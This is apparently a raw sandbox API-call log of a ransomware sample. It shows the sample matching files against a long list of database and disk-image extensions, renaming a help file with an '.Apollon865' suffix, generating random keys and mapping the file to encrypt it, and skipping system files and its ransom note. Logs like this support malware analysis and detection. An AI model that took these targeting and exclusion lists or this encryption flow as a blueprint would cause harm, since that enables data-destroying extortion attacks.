	[0078.592] lstrlenW (lpString="vhd") returned 3
	[0078.593] lstrcmpiW (lpString1="hxn", lpString2="vhd") returned -1
	[0078.593] lstrlenW (lpString="vhdx") returned 4
	[0078.593] lstrcmpiW (lpString1=".hxn", lpString2="vhdx") returned -1
	[0078.593] lstrlenW (lpString="avhd") returned 4
	[0078.593] lstrcmpiW (lpString1=".hxn", lpString2="avhd") returned -1
	[0078.593] lstrlenW (lpString="db") returned 2
	[0078.593] lstrcmpiW (lpString1="xn", lpString2="db") returned 1
	[0078.593] lstrlenW (lpString="db2") returned 3
	[0078.593] lstrcmpiW (lpString1="hxn", lpString2="db2") returned 1
	[0078.593] lstrlenW (lpString="db3") returned 3
	[0078.593] lstrcmpiW (lpString1="hxn", lpString2="db3") returned 1
	[0078.593] lstrlenW (lpString="dbf") returned 3
	[0078.593] lstrcmpiW (lpString1="hxn", lpString2="dbf") returned 1
	[0078.593] lstrlenW (lpString="mdf") returned 3
	[0078.593] lstrcmpiW (lpString1="hxn", lpString2="mdf") returned -1
	[0078.593] lstrlenW (lpString="mdb") returned 3
	[0078.593] lstrcmpiW (lpString1="hxn", lpString2="mdb") returned -1
	[0078.593] lstrlenW (lpString="sql") returned 3
	[0078.593] lstrcmpiW (lpString1="hxn", lpString2="sql") returned -1
	[0078.593] lstrlenW (lpString="sqlite") returned 6
	[0078.593] lstrcmpiW (lpString1="33.hxn", lpString2="sqlite") returned -1
	[0078.593] lstrlenW (lpString="sqlite3") returned 7
	[0078.593] lstrcmpiW (lpString1="033.hxn", lpString2="sqlite3") returned -1
	[0078.593] lstrlenW (lpString="sqlitedb") returned 8
	[0078.593] lstrcmpiW (lpString1="1033.hxn", lpString2="sqlitedb") returned -1
	[0078.593] lstrlenW (lpString="xml") returned 3
	[0078.593] lstrcmpiW (lpString1="hxn", lpString2="xml") returned -1
	[0078.593] lstrlenW (lpString="$er") returned 3
	[0078.593] lstrcmpiW (lpString1="hxn", lpString2="$er") returned 1
	[0078.593] lstrlenW (lpString="4dd") returned 3
	[0078.593] lstrcmpiW (lpString1="hxn", lpString2="4dd") returned 1
	[0078.593] lstrlenW (lpString="4dl") returned 3
	[0078.593] lstrcmpiW (lpString1="hxn", lpString2="4dl") returned 1
	[0078.593] lstrlenW (lpString="^^^") returned 3
	[0078.593] lstrcmpiW (lpString1="hxn", lpString2="^^^") returned 1
	[0078.593] lstrlenW (lpString="abs") returned 3
	[0078.594] lstrcmpiW (lpString1="hxn", lpString2="abs") returned 1
	[0078.594] lstrlenW (lpString="abx") returned 3
	[0078.594] lstrcmpiW (lpString1="hxn", lpString2="abx") returned 1
	[0078.594] lstrlenW (lpString="accdb") returned 5
	[0078.594] lstrcmpiW (lpString1="3.hxn", lpString2="accdb") returned -1
	[0078.594] lstrlenW (lpString="accdc") returned 5
	[0078.594] lstrcmpiW (lpString1="3.hxn", lpString2="accdc") returned -1
	[0078.594] lstrlenW (lpString="accde") returned 5
	[0078.594] lstrcmpiW (lpString1="3.hxn", lpString2="accde") returned -1
	[0078.594] lstrlenW (lpString="accdr") returned 5
	[0078.594] lstrcmpiW (lpString1="3.hxn", lpString2="accdr") returned -1
	[0078.594] lstrlenW (lpString="accdt") returned 5
	[0078.594] lstrcmpiW (lpString1="3.hxn", lpString2="accdt") returned -1
	[0078.594] lstrlenW (lpString="accdw") returned 5
	[0078.594] lstrcmpiW (lpString1="3.hxn", lpString2="accdw") returned -1
	[0078.594] lstrlenW (lpString="accft") returned 5
	[0078.594] lstrcmpiW (lpString1="3.hxn", lpString2="accft") returned -1
	[0078.594] lstrlenW (lpString="adb") returned 3
	[0078.594] lstrcmpiW (lpString1="hxn", lpString2="adb") returned 1
	[0078.594] lstrlenW (lpString="adb") returned 3
	[0078.594] lstrcmpiW (lpString1="hxn", lpString2="adb") returned 1
	[0078.594] lstrlenW (lpString="ade") returned 3
	[0078.594] lstrcmpiW (lpString1="hxn", lpString2="ade") returned 1
	[0078.594] lstrlenW (lpString="adf") returned 3
	[0078.594] lstrcmpiW (lpString1="hxn", lpString2="adf") returned 1
	[0078.594] lstrlenW (lpString="adn") returned 3
	[0078.594] lstrcmpiW (lpString1="hxn", lpString2="adn") returned 1
	[0078.594] lstrlenW (lpString="adp") returned 3
	[0078.594] lstrcmpiW (lpString1="hxn", lpString2="adp") returned 1
	[0078.594] lstrlenW (lpString="alf") returned 3
	[0078.594] lstrcmpiW (lpString1="hxn", lpString2="alf") returned 1
	[0078.594] lstrlenW (lpString="ask") returned 3
	[0078.594] lstrcmpiW (lpString1="hxn", lpString2="ask") returned 1
	[0078.594] lstrlenW (lpString="btr") returned 3
	[0078.594] lstrcmpiW (lpString1="hxn", lpString2="btr") returned 1
	[0078.594] lstrlenW (lpString="cat") returned 3
	[0078.594] lstrcmpiW (lpString1="hxn", lpString2="cat") returned 1
	[0078.595] lstrlenW (lpString="cdb") returned 3
	[0078.595] lstrcmpiW (lpString1="hxn", lpString2="cdb") returned 1
	[0078.595] lstrlenW (lpString="ckp") returned 3
	[0078.595] lstrcmpiW (lpString1="hxn", lpString2="ckp") returned 1
	[0078.595] lstrlenW (lpString="cma") returned 3
	[0078.595] lstrcmpiW (lpString1="hxn", lpString2="cma") returned 1
	[0078.595] lstrlenW (lpString="cpd") returned 3
	[0078.595] lstrcmpiW (lpString1="hxn", lpString2="cpd") returned 1
	[0078.595] lstrlenW (lpString="dacpac") returned 6
	[0078.595] lstrcmpiW (lpString1="33.hxn", lpString2="dacpac") returned -1
	[0078.595] lstrlenW (lpString="dad") returned 3
	[0078.595] lstrcmpiW (lpString1="hxn", lpString2="dad") returned 1
	[0078.595] lstrlenW (lpString="dadiagrams") returned 10
	[0078.595] lstrcmpiW (lpString1="4.1033.hxn", lpString2="dadiagrams") returned -1
	[0078.595] lstrlenW (lpString="daschema") returned 8
	[0078.595] lstrcmpiW (lpString1="1033.hxn", lpString2="daschema") returned -1
	[0078.595] lstrlenW (lpString="db-journal") returned 10
	[0078.595] lstrcmpiW (lpString1="4.1033.hxn", lpString2="db-journal") returned -1
	[0078.595] lstrlenW (lpString="db-shm") returned 6
	[0078.595] lstrcmpiW (lpString1="33.hxn", lpString2="db-shm") returned -1
	[0078.595] lstrlenW (lpString="db-wal") returned 6
	[0078.595] lstrcmpiW (lpString1="33.hxn", lpString2="db-wal") returned -1
	[0078.595] lstrlenW (lpString="dbc") returned 3
	[0078.595] lstrcmpiW (lpString1="hxn", lpString2="dbc") returned 1
	[0078.595] lstrlenW (lpString="dbs") returned 3
	[0078.595] lstrcmpiW (lpString1="hxn", lpString2="dbs") returned 1
	[0078.595] lstrlenW (lpString="dbt") returned 3
	[0078.595] lstrcmpiW (lpString1="hxn", lpString2="dbt") returned 1
	[0078.595] lstrlenW (lpString="dbv") returned 3
	[0078.595] lstrcmpiW (lpString1="hxn", lpString2="dbv") returned 1
	[0078.595] lstrlenW (lpString="dbx") returned 3
	[0078.595] lstrcmpiW (lpString1="hxn", lpString2="dbx") returned 1
	[0078.595] lstrlenW (lpString="dcb") returned 3
	[0078.595] lstrcmpiW (lpString1="hxn", lpString2="dcb") returned 1
	[0078.595] lstrlenW (lpString="dct") returned 3
	[0078.595] lstrcmpiW (lpString1="hxn", lpString2="dct") returned 1
	[0078.595] lstrlenW (lpString="dcx") returned 3
	[0078.595] lstrcmpiW (lpString1="hxn", lpString2="dcx") returned 1
	[0078.595] lstrlenW (lpString="ddl") returned 3
	[0078.596] lstrcmpiW (lpString1="hxn", lpString2="ddl") returned 1
	[0078.596] lstrlenW (lpString="dlis") returned 4
	[0078.596] lstrcmpiW (lpString1=".hxn", lpString2="dlis") returned -1
	[0078.596] lstrlenW (lpString="dp1") returned 3
	[0078.596] lstrcmpiW (lpString1="hxn", lpString2="dp1") returned 1
	[0078.596] lstrlenW (lpString="dqy") returned 3
	[0078.596] lstrcmpiW (lpString1="hxn", lpString2="dqy") returned 1
	[0078.596] lstrlenW (lpString="dsk") returned 3
	[0078.596] lstrcmpiW (lpString1="hxn", lpString2="dsk") returned 1
	[0078.596] lstrlenW (lpString="dsn") returned 3
	[0078.596] lstrcmpiW (lpString1="hxn", lpString2="dsn") returned 1
	[0078.596] lstrlenW (lpString="dtsx") returned 4
	[0078.596] lstrcmpiW (lpString1=".hxn", lpString2="dtsx") returned -1
	[0078.596] lstrlenW (lpString="dxl") returned 3
	[0078.596] lstrcmpiW (lpString1="hxn", lpString2="dxl") returned 1
	[0078.596] lstrlenW (lpString="eco") returned 3
	[0078.596] lstrcmpiW (lpString1="hxn", lpString2="eco") returned 1
	[0078.596] lstrlenW (lpString="ecx") returned 3
	[0078.596] lstrcmpiW (lpString1="hxn", lpString2="ecx") returned 1
	[0078.596] lstrlenW (lpString="edb") returned 3
	[0078.596] lstrcmpiW (lpString1="hxn", lpString2="edb") returned 1
	[0078.596] lstrlenW (lpString="epim") returned 4
	[0078.596] lstrcmpiW (lpString1=".hxn", lpString2="epim") returned -1
	[0078.596] lstrlenW (lpString="fcd") returned 3
	[0078.596] lstrcmpiW (lpString1="hxn", lpString2="fcd") returned 1
	[0078.596] lstrlenW (lpString="fdb") returned 3
	[0078.596] lstrcmpiW (lpString1="hxn", lpString2="fdb") returned 1
	[0078.596] lstrlenW (lpString="fic") returned 3
	[0078.596] lstrcmpiW (lpString1="hxn", lpString2="fic") returned 1
	[0078.596] lstrlenW (lpString="flexolibrary") returned 12
	[0078.596] lstrcmpiW (lpString1=".14.1033.hxn", lpString2="flexolibrary") returned -1
	[0078.596] lstrlenW (lpString="fm5") returned 3
	[0078.596] lstrcmpiW (lpString1="hxn", lpString2="fm5") returned 1
	[0078.596] lstrlenW (lpString="fmp") returned 3
	[0078.596] lstrcmpiW (lpString1="hxn", lpString2="fmp") returned 1
	[0078.596] lstrlenW (lpString="fmp12") returned 5
	[0078.596] lstrcmpiW (lpString1="3.hxn", lpString2="fmp12") returned -1
	[0078.597] lstrlenW (lpString="fmpsl") returned 5
	[0078.597] lstrcmpiW (lpString1="3.hxn", lpString2="fmpsl") returned -1
	[0078.597] lstrlenW (lpString="fol") returned 3
	[0078.597] lstrcmpiW (lpString1="hxn", lpString2="fol") returned 1
	[0078.597] lstrlenW (lpString="fp3") returned 3
	[0078.597] lstrcmpiW (lpString1="hxn", lpString2="fp3") returned 1
	[0078.597] lstrlenW (lpString="fp4") returned 3
	[0078.597] lstrcmpiW (lpString1="hxn", lpString2="fp4") returned 1
	[0078.597] lstrlenW (lpString="fp5") returned 3
	[0078.597] lstrcmpiW (lpString1="hxn", lpString2="fp5") returned 1
	[0078.597] lstrlenW (lpString="fp7") returned 3
	[0078.597] lstrcmpiW (lpString1="hxn", lpString2="fp7") returned 1
	[0078.597] lstrlenW (lpString="fpt") returned 3
	[0078.597] lstrcmpiW (lpString1="hxn", lpString2="fpt") returned 1
	[0078.597] lstrlenW (lpString="frm") returned 3
	[0078.597] lstrcmpiW (lpString1="hxn", lpString2="frm") returned 1
	[0078.597] lstrlenW (lpString="gdb") returned 3
	[0078.597] lstrcmpiW (lpString1="hxn", lpString2="gdb") returned 1
	[0078.597] lstrlenW (lpString="gdb") returned 3
	[0078.597] lstrcmpiW (lpString1="hxn", lpString2="gdb") returned 1
	[0078.597] lstrlenW (lpString="grdb") returned 4
	[0078.597] lstrcmpiW (lpString1=".hxn", lpString2="grdb") returned -1
	[0078.597] lstrlenW (lpString="gwi") returned 3
	[0078.597] lstrcmpiW (lpString1="hxn", lpString2="gwi") returned 1
	[0078.597] lstrlenW (lpString="hdb") returned 3
	[0078.597] lstrcmpiW (lpString1="hxn", lpString2="hdb") returned 1
	[0078.597] lstrlenW (lpString="his") returned 3
	[0078.597] lstrcmpiW (lpString1="hxn", lpString2="his") returned 1
	[0078.597] lstrlenW (lpString="ib") returned 2
	[0078.597] lstrcmpiW (lpString1="xn", lpString2="ib") returned 1
	[0078.597] lstrlenW (lpString="idb") returned 3
	[0078.597] lstrcmpiW (lpString1="hxn", lpString2="idb") returned -1
	[0078.597] lstrlenW (lpString="ihx") returned 3
	[0078.597] lstrcmpiW (lpString1="hxn", lpString2="ihx") returned -1
	[0078.597] lstrlenW (lpString="itdb") returned 4
	[0078.597] lstrcmpiW (lpString1=".hxn", lpString2="itdb") returned -1
	[0078.597] lstrlenW (lpString="itw") returned 3
	[0078.598] lstrcmpiW (lpString1="hxn", lpString2="itw") returned -1
	[0078.598] lstrlenW (lpString="jet") returned 3
	[0078.598] lstrcmpiW (lpString1="hxn", lpString2="jet") returned -1
	[0078.598] lstrlenW (lpString="jtx") returned 3
	[0078.598] lstrcmpiW (lpString1="hxn", lpString2="jtx") returned -1
	[0078.598] lstrlenW (lpString="kdb") returned 3
	[0078.598] lstrcmpiW (lpString1="hxn", lpString2="kdb") returned -1
	[0078.598] lstrlenW (lpString="kexi") returned 4
	[0078.598] lstrcmpiW (lpString1=".hxn", lpString2="kexi") returned -1
	[0078.598] lstrlenW (lpString="kexic") returned 5
	[0078.598] lstrcmpiW (lpString1="3.hxn", lpString2="kexic") returned -1
	[0078.598] lstrlenW (lpString="kexis") returned 5
	[0078.598] lstrcmpiW (lpString1="3.hxn", lpString2="kexis") returned -1
	[0078.598] lstrlenW (lpString="lgc") returned 3
	[0078.598] lstrcmpiW (lpString1="hxn", lpString2="lgc") returned -1
	[0078.598] lstrlenW (lpString="lwx") returned 3
	[0078.598] lstrcmpiW (lpString1="hxn", lpString2="lwx") returned -1
	[0078.598] lstrlenW (lpString="maf") returned 3
	[0078.598] lstrcmpiW (lpString1="hxn", lpString2="maf") returned -1
	[0078.598] lstrlenW (lpString="maq") returned 3
	[0078.598] lstrcmpiW (lpString1="hxn", lpString2="maq") returned -1
	[0078.598] lstrlenW (lpString="mar") returned 3
	[0078.598] lstrcmpiW (lpString1="hxn", lpString2="mar") returned -1
	[0078.598] lstrlenW (lpString="marshal") returned 7
	[0078.598] lstrcmpiW (lpString1="033.hxn", lpString2="marshal") returned -1
	[0078.598] lstrlenW (lpString="mas") returned 3
	[0078.598] lstrcmpiW (lpString1="hxn", lpString2="mas") returned -1
	[0078.598] lstrlenW (lpString="mav") returned 3
	[0078.598] lstrcmpiW (lpString1="hxn", lpString2="mav") returned -1
	[0078.598] lstrlenW (lpString="maw") returned 3
	[0078.598] lstrcmpiW (lpString1="hxn", lpString2="maw") returned -1
	[0078.598] lstrlenW (lpString="mdbhtml") returned 7
	[0078.598] lstrcmpiW (lpString1="033.hxn", lpString2="mdbhtml") returned -1
	[0078.598] lstrlenW (lpString="mdn") returned 3
	[0078.598] lstrcmpiW (lpString1="hxn", lpString2="mdn") returned -1
	[0078.598] lstrlenW (lpString="mdt") returned 3
	[0078.598] lstrcmpiW (lpString1="hxn", lpString2="mdt") returned -1
	[0078.598] lstrlenW (lpString="mfd") returned 3
	[0078.598] lstrcmpiW (lpString1="hxn", lpString2="mfd") returned -1
	[0078.599] lstrlenW (lpString="mpd") returned 3
	[0078.599] lstrcmpiW (lpString1="hxn", lpString2="mpd") returned -1
	[0078.599] lstrlenW (lpString="mrg") returned 3
	[0078.599] lstrcmpiW (lpString1="hxn", lpString2="mrg") returned -1
	[0078.599] lstrlenW (lpString="mud") returned 3
	[0078.599] lstrcmpiW (lpString1="hxn", lpString2="mud") returned -1
	[0078.599] lstrlenW (lpString="mwb") returned 3
	[0078.599] lstrcmpiW (lpString1="hxn", lpString2="mwb") returned -1
	[0078.599] lstrlenW (lpString="myd") returned 3
	[0078.599] lstrcmpiW (lpString1="hxn", lpString2="myd") returned -1
	[0078.599] lstrlenW (lpString="ndf") returned 3
	[0078.599] lstrcmpiW (lpString1="hxn", lpString2="ndf") returned -1
	[0078.599] lstrlenW (lpString="nnt") returned 3
	[0078.599] lstrcmpiW (lpString1="hxn", lpString2="nnt") returned -1
	[0078.599] lstrlenW (lpString="nrmlib") returned 6
	[0078.599] lstrcmpiW (lpString1="33.hxn", lpString2="nrmlib") returned -1
	[0078.599] lstrlenW (lpString="ns2") returned 3
	[0078.599] lstrcmpiW (lpString1="hxn", lpString2="ns2") returned -1
	[0078.599] lstrlenW (lpString="ns3") returned 3
	[0078.599] lstrcmpiW (lpString1="hxn", lpString2="ns3") returned -1
	[0078.599] lstrlenW (lpString="ns4") returned 3
	[0078.599] lstrcmpiW (lpString1="hxn", lpString2="ns4") returned -1
	[0078.599] lstrlenW (lpString="nsf") returned 3
	[0078.599] lstrcmpiW (lpString1="hxn", lpString2="nsf") returned -1
	[0078.599] lstrlenW (lpString="nv") returned 2
	[0078.599] lstrcmpiW (lpString1="xn", lpString2="nv") returned 1
	[0078.599] lstrlenW (lpString="nv2") returned 3
	[0078.599] lstrcmpiW (lpString1="hxn", lpString2="nv2") returned -1
	[0078.599] lstrlenW (lpString="nwdb") returned 4
	[0078.599] lstrcmpiW (lpString1=".hxn", lpString2="nwdb") returned -1
	[0078.599] lstrlenW (lpString="nyf") returned 3
	[0078.599] lstrcmpiW (lpString1="hxn", lpString2="nyf") returned -1
	[0078.599] lstrlenW (lpString="odb") returned 3
	[0078.599] lstrcmpiW (lpString1="hxn", lpString2="odb") returned -1
	[0078.599] lstrlenW (lpString="odb") returned 3
	[0078.599] lstrcmpiW (lpString1="hxn", lpString2="odb") returned -1
	[0078.599] lstrlenW (lpString="oqy") returned 3
	[0078.599] lstrcmpiW (lpString1="hxn", lpString2="oqy") returned -1
	[0078.600] lstrlenW (lpString="ora") returned 3
	[0078.600] lstrcmpiW (lpString1="hxn", lpString2="ora") returned -1
	[0078.600] lstrlenW (lpString="orx") returned 3
	[0078.600] lstrcmpiW (lpString1="hxn", lpString2="orx") returned -1
	[0078.600] lstrlenW (lpString="owc") returned 3
	[0078.600] lstrcmpiW (lpString1="hxn", lpString2="owc") returned -1
	[0078.600] lstrlenW (lpString="p96") returned 3
	[0078.600] lstrcmpiW (lpString1="hxn", lpString2="p96") returned -1
	[0078.600] lstrlenW (lpString="p97") returned 3
	[0078.600] lstrcmpiW (lpString1="hxn", lpString2="p97") returned -1
	[0078.600] lstrlenW (lpString="pan") returned 3
	[0078.600] lstrcmpiW (lpString1="hxn", lpString2="pan") returned -1
	[0078.600] lstrlenW (lpString="pdb") returned 3
	[0078.600] lstrcmpiW (lpString1="hxn", lpString2="pdb") returned -1
	[0078.600] lstrlenW (lpString="pdm") returned 3
	[0078.600] lstrcmpiW (lpString1="hxn", lpString2="pdm") returned -1
	[0078.600] lstrlenW (lpString="pnz") returned 3
	[0078.600] lstrcmpiW (lpString1="hxn", lpString2="pnz") returned -1
	[0078.600] lstrlenW (lpString="qry") returned 3
	[0078.600] lstrcmpiW (lpString1="hxn", lpString2="qry") returned -1
	[0078.600] lstrlenW (lpString="qvd") returned 3
	[0078.600] lstrcmpiW (lpString1="hxn", lpString2="qvd") returned -1
	[0078.600] lstrlenW (lpString="rbf") returned 3
	[0078.600] lstrcmpiW (lpString1="hxn", lpString2="rbf") returned -1
	[0078.600] lstrlenW (lpString="rctd") returned 4
	[0078.600] lstrcmpiW (lpString1=".hxn", lpString2="rctd") returned -1
	[0078.600] lstrlenW (lpString="rod") returned 3
	[0078.600] lstrcmpiW (lpString1="hxn", lpString2="rod") returned -1
	[0078.600] lstrlenW (lpString="rodx") returned 4
	[0078.600] lstrcmpiW (lpString1=".hxn", lpString2="rodx") returned -1
	[0078.600] lstrlenW (lpString="rpd") returned 3
	[0078.600] lstrcmpiW (lpString1="hxn", lpString2="rpd") returned -1
	[0078.600] lstrlenW (lpString="rsd") returned 3
	[0078.600] lstrcmpiW (lpString1="hxn", lpString2="rsd") returned -1
	[0078.600] lstrlenW (lpString="sas7bdat") returned 8
	[0078.600] lstrcmpiW (lpString1="1033.hxn", lpString2="sas7bdat") returned -1
	[0078.600] lstrlenW (lpString="sbf") returned 3
	[0078.600] lstrcmpiW (lpString1="hxn", lpString2="sbf") returned -1
	[0078.601] lstrlenW (lpString="scx") returned 3
	[0078.601] lstrcmpiW (lpString1="hxn", lpString2="scx") returned -1
	[0078.601] lstrlenW (lpString="sdb") returned 3
	[0078.601] lstrcmpiW (lpString1="hxn", lpString2="sdb") returned -1
	[0078.601] lstrlenW (lpString="sdc") returned 3
	[0078.601] lstrcmpiW (lpString1="hxn", lpString2="sdc") returned -1
	[0078.601] lstrlenW (lpString="sdf") returned 3
	[0078.601] lstrcmpiW (lpString1="hxn", lpString2="sdf") returned -1
	[0078.601] lstrlenW (lpString="sis") returned 3
	[0078.601] lstrcmpiW (lpString1="hxn", lpString2="sis") returned -1
	[0078.601] lstrlenW (lpString="spq") returned 3
	[0078.601] lstrcmpiW (lpString1="hxn", lpString2="spq") returned -1
	[0078.601] lstrlenW (lpString="te") returned 2
	[0078.601] lstrcmpiW (lpString1="xn", lpString2="te") returned 1
	[0078.601] lstrlenW (lpString="teacher") returned 7
	[0078.601] lstrcmpiW (lpString1="033.hxn", lpString2="teacher") returned -1
	[0078.601] lstrlenW (lpString="tmd") returned 3
	[0078.601] lstrcmpiW (lpString1="hxn", lpString2="tmd") returned -1
	[0078.601] lstrlenW (lpString="tps") returned 3
	[0078.601] lstrcmpiW (lpString1="hxn", lpString2="tps") returned -1
	[0078.601] lstrlenW (lpString="trc") returned 3
	[0078.601] lstrcmpiW (lpString1="hxn", lpString2="trc") returned -1
	[0078.601] lstrlenW (lpString="trc") returned 3
	[0078.601] lstrcmpiW (lpString1="hxn", lpString2="trc") returned -1
	[0078.601] lstrlenW (lpString="trm") returned 3
	[0078.601] lstrcmpiW (lpString1="hxn", lpString2="trm") returned -1
	[0078.601] lstrlenW (lpString="udb") returned 3
	[0078.601] lstrcmpiW (lpString1="hxn", lpString2="udb") returned -1
	[0078.601] lstrlenW (lpString="udl") returned 3
	[0078.601] lstrcmpiW (lpString1="hxn", lpString2="udl") returned -1
	[0078.601] lstrlenW (lpString="usr") returned 3
	[0078.602] lstrcmpiW (lpString1="hxn", lpString2="usr") returned -1
	[0078.602] lstrlenW (lpString="v12") returned 3
	[0078.602] lstrcmpiW (lpString1="hxn", lpString2="v12") returned -1
	[0078.602] lstrlenW (lpString="vis") returned 3
	[0078.602] lstrcmpiW (lpString1="hxn", lpString2="vis") returned -1
	[0078.602] lstrlenW (lpString="vpd") returned 3
	[0078.602] lstrcmpiW (lpString1="hxn", lpString2="vpd") returned -1
	[0078.602] lstrlenW (lpString="vvv") returned 3
	[0078.602] lstrcmpiW (lpString1="hxn", lpString2="vvv") returned -1
	[0078.602] lstrlenW (lpString="wdb") returned 3
	[0078.602] lstrcmpiW (lpString1="hxn", lpString2="wdb") returned -1
	[0078.602] lstrlenW (lpString="wmdb") returned 4
	[0078.602] lstrcmpiW (lpString1=".hxn", lpString2="wmdb") returned -1
	[0078.602] lstrlenW (lpString="wrk") returned 3
	[0078.602] lstrcmpiW (lpString1="hxn", lpString2="wrk") returned -1
	[0078.602] lstrlenW (lpString="xdb") returned 3
	[0078.602] lstrcmpiW (lpString1="hxn", lpString2="xdb") returned -1
	[0078.602] lstrlenW (lpString="xld") returned 3
	[0078.602] lstrcmpiW (lpString1="hxn", lpString2="xld") returned -1
	[0078.602] lstrlenW (lpString="xmlff") returned 5
	[0078.602] lstrcmpiW (lpString1="3.hxn", lpString2="xmlff") returned -1
	[0078.602] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft Help\\MS.OIS.14.1033.hxn.Apollon865") returned 63
	[0078.602] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft Help\\MS.OIS.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.ois.14.1033.hxn"), lpNewFileName="C:\\Users\\All Users\\Microsoft Help\\MS.OIS.14.1033.hxn.Apollon865" (normalized: "c:\\users\\all users\\microsoft help\\ms.ois.14.1033.hxn.apollon865"), dwFlags=0x1) returned 1
	[0078.603] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.OIS.14.1033.hxn.Apollon865" (normalized: "c:\\users\\all users\\microsoft help\\ms.ois.14.1033.hxn.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0078.603] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=314) returned 1
	[0078.603] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0078.603] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0078.604] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0078.604] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bfa30) returned 1
	[0078.604] CryptGenRandom (in: hProv=0x5bfa30, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0078.604] CryptReleaseContext (hProv=0x5bfa30, dwFlags=0x0) returned 1
	[0078.604] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x440, lpName=0x0) returned 0xd8
	[0078.606] MapViewOfFile (hFileMappingObject=0xd8, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x440) returned 0x100000
	[0078.607] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bfa30) returned 1
	[0078.608] CryptGenRandom (in: hProv=0x5bfa30, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0078.608] CryptReleaseContext (hProv=0x5bfa30, dwFlags=0x0) returned 1
	[0078.608] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0078.608] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0078.608] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0078.608] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0078.608] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0078.608] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0078.608] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0078.608] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0078.608] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0078.608] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0078.608] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0078.608] CloseHandle (hObject=0xd8) returned 1
	[0078.608] CloseHandle (hObject=0x15c) returned 1
	[0078.608] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0078.608] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0078.608] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0078.609] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xc997810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc997810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc9e3ad0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x152, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.ONENOTE.14.1033.hxn", cAlternateFileName="MSONEN~1.HXN")) returned 1
	[0078.609] lstrcmpiW (lpString1="MS.ONENOTE.14.1033.hxn", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0078.609] lstrcmpiW (lpString1="MS.ONENOTE.14.1033.hxn", lpString2="Apollon865.txt.exe") returned 1
	[0078.609] lstrcmpiW (lpString1="MS.ONENOTE.14.1033.hxn", lpString2=".") returned 1
	[0078.609] lstrcmpiW (lpString1="MS.ONENOTE.14.1033.hxn", lpString2="..") returned 1
	[0078.609] lstrcmpiW (lpString1="MS.ONENOTE.14.1033.hxn", lpString2="windows") returned -1
	[0078.609] lstrcmpiW (lpString1="MS.ONENOTE.14.1033.hxn", lpString2="bootmgr") returned 1
	[0078.609] lstrcmpiW (lpString1="MS.ONENOTE.14.1033.hxn", lpString2="temp") returned -1
	[0078.609] lstrcmpiW (lpString1="MS.ONENOTE.14.1033.hxn", lpString2="pagefile.sys") returned -1
	[0078.609] lstrcmpiW (lpString1="MS.ONENOTE.14.1033.hxn", lpString2="boot") returned 1
	[0078.609] lstrcmpiW (lpString1="MS.ONENOTE.14.1033.hxn", lpString2="ids.txt") returned 1
	[0078.609] lstrcmpiW (lpString1="MS.ONENOTE.14.1033.hxn", lpString2="ntuser.dat") returned -1
	[0078.609] lstrcmpiW (lpString1="MS.ONENOTE.14.1033.hxn", lpString2="perflogs") returned -1
